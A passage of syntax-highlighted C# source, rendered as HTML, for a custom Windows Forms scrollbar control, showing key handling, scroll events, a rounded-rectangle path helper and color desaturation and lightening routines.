/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">Keys</span><span style="color: #007700">.</span><span style="color: #0000BB">PageUp</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">SetProperValue</span><span style="color: #007700">(</span><span style="color: #0000BB">Value&nbsp;</span><span style="color: #007700">+&nbsp;(int)</span><span style="color: #0000BB">largeChange</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">Scroll&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Scroll</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">,&nbsp;new&nbsp;</span><span style="color: #0000BB">ScrollEventArgs</span><span style="color: #007700">(</span><span style="color: #0000BB">ScrollEventType</span><span style="color: #007700">.</span><span style="color: #0000BB">LargeIncrement</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Value</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">Scroll&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000BB">Value&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">barMinimum</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Scroll</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">,&nbsp;new&nbsp;</span><span style="color: #0000BB">ScrollEventArgs</span><span style="color: #007700">(</span><span style="color: #0000BB">ScrollEventType</span><span style="color: #007700">.</span><span style="color: #0000BB">First</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Value</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">Scroll&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000BB">Value&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">barMaximum</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Scroll</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">,&nbsp;new&nbsp;</span><span style="color: #0000BB">ScrollEventArgs</span><span style="color: #007700">(</span><span style="color: #0000BB">ScrollEventType</span><span style="color: #007700">.</span><span style="color: #0000BB">Last</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Value</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Point&nbsp;pt&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">PointToClient</span><span style="color: #007700">(</span><span style="color: #0000BB">Cursor</span><span style="color: #007700">.</span><span style="color: #0000BB">Position</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">OnMouseMove</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">MouseEventArgs</span><span style="color: #007700">(</span><span style="color: #0000BB">MouseButtons</span><span style="color: #007700">.</span><span style="color: #0000BB">None</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">pt</span><span style="color: #007700">.</span><span style="color: #0000BB">X</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">pt</span><span style="color: #007700">.</span><span style="color: #0000BB">Y</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Processes&nbsp;a&nbsp;dialog&nbsp;key.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="keyData"&gt;One&nbsp;of&nbsp;the&nbsp;&lt;see&nbsp;cref="T:System.Windows.Forms.Keys"&gt;&lt;/see&gt;&nbsp;values&nbsp;that&nbsp;represents&nbsp;the&nbsp;key&nbsp;to&nbsp;process.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;true&nbsp;if&nbsp;the&nbsp;key&nbsp;was&nbsp;processed&nbsp;by&nbsp;the&nbsp;control;&nbsp;otherwise,&nbsp;false.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">protected&nbsp;</span><span style="color: #0000BB">override&nbsp;bool&nbsp;ProcessDialogKey</span><span style="color: #007700">(</span><span style="color: #0000BB">Keys&nbsp;keyData</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">keyData&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">Keys</span><span style="color: #007700">.</span><span style="color: #0000BB">Tab&nbsp;</span><span style="color: #007700">|&nbsp;</span><span style="color: #0000BB">ModifierKeys&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">Keys</span><span style="color: #007700">.</span><span style="color: #0000BB">Shift</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">base</span><span style="color: #007700">.</span><span style="color: #0000BB">ProcessDialogKey</span><span style="color: #007700">(</span><span style="color: #0000BB">keyData</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">OnKeyDown</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">KeyEventArgs</span><span style="color: #007700">(</span><span style="color: #0000BB">keyData</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#endregion<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#region&nbsp;Help&nbsp;routines<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Creates&nbsp;the&nbsp;round&nbsp;rect&nbsp;path.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="rect"&gt;The&nbsp;rectangle&nbsp;on&nbsp;which&nbsp;graphics&nbsp;path&nbsp;will&nbsp;be&nbsp;spanned.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="size"&gt;The&nbsp;size&nbsp;of&nbsp;rounded&nbsp;rectangle&nbsp;edges.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;&lt;/returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;static&nbsp;</span><span style="color: #0000BB">GraphicsPath&nbsp;CreateRoundRectPath</span><span style="color: #007700">(</span><span style="color: #0000BB">Rectangle&nbsp;rect</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Size&nbsp;size</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">GraphicsPath&nbsp;gp&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">GraphicsPath</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">gp</span><span style="color: #007700">.</span><span style="color: #0000BB">AddLine</span><span style="color: #007700">(</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Left&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Width&nbsp;</span><span style="color: #007700">/&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Top</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Right&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Width&nbsp;</span><span style="color: #007700">/&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Top</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">gp</span><span style="color: #007700">.</span><span style="color: #0000BB">AddArc</span><span style="color: #007700">(</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Right&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Width</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Top</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Width</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Height</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">270</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">90</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">gp</span><span style="color: #007700">.</span><span style="color: #0000BB">AddLine</span><span style="color: #007700">(</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Right</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Top&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Height&nbsp;</span><span style="color: #007700">/&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Right</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Bottom&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Width&nbsp;</span><span style="color: #007700">/&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">gp</span><span style="color: #007700">.</span><span style="color: #0000BB">AddArc</span><span style="color: #007700">(</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Right&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Width</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Bottom&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Height</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Width</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Height</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">90</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">gp</span><span style="color: #007700">.</span><span style="color: #0000BB">AddLine</span><span style="color: #007700">(</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Right&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Width&nbsp;</span><span style="color: #007700">/&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Bottom</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Left&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Width&nbsp;</span><span style="color: #007700">/&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Bottom</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">gp</span><span style="color: #007700">.</span><span style="color: #0000BB">AddArc</span><span style="color: #007700">(</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Left</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Bottom&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Height</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Width</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Height</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">90</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">90</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">gp</span><span style="color: #007700">.</span><span style="color: #0000BB">AddLine</span><span style="color: #007700">(</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Left</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Bottom&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Height&nbsp;</span><span style="color: #007700">/&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Left</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Top&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Height&nbsp;</span><span style="color: #007700">/&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">gp</span><span style="color: #007700">.</span><span style="color: #0000BB">AddArc</span><span style="color: #007700">(</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Left</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">rect</span><span style="color: #007700">.</span><span style="color: #0000BB">Top</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Width</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">.</span><span style="color: #0000BB">Height</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">180</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">90</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">gp</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Desaturates&nbsp;colors&nbsp;from&nbsp;given&nbsp;array.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="colorsToDesaturate"&gt;The&nbsp;colors&nbsp;to&nbsp;be&nbsp;desaturated.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;&lt;/returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;static&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">DesaturateColors</span><span style="color: #007700">(</span><span style="color: #0000BB">params&nbsp;Color</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">colorsToDesaturate</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">colorsToReturn&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">colorsToDesaturate</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">colorsToDesaturate</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//use&nbsp;NTSC&nbsp;weighted&nbsp;avarage<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;gray&nbsp;</span><span style="color: #007700">=<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(int)(</span><span style="color: #0000BB">colorsToDesaturate</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">R&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">0.3&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">colorsToDesaturate</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">G&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">0.6&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">colorsToDesaturate</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">B&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">0.1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">colorsToReturn</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;&nbsp;=&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">FromArgb</span><span style="color: #007700">(-</span><span style="color: #0000BB">0x010101&nbsp;</span><span style="color: #007700">*&nbsp;(</span><span style="color: #0000BB">255&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">gray</span><span style="color: #007700">)&nbsp;-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">colorsToReturn</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Lightens&nbsp;colors&nbsp;from&nbsp;given&nbsp;array.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="colorsToLighten"&gt;The&nbsp;colors&nbsp;to&nbsp;lighten.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;&lt;/returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;static&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">LightenColors</span><span style="color: #007700">(</span><span style="color: #0000BB">params&nbsp;Color</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">colorsToLighten</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">colorsToReturn&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">colorsToLighten</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">colorsToLighten</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br 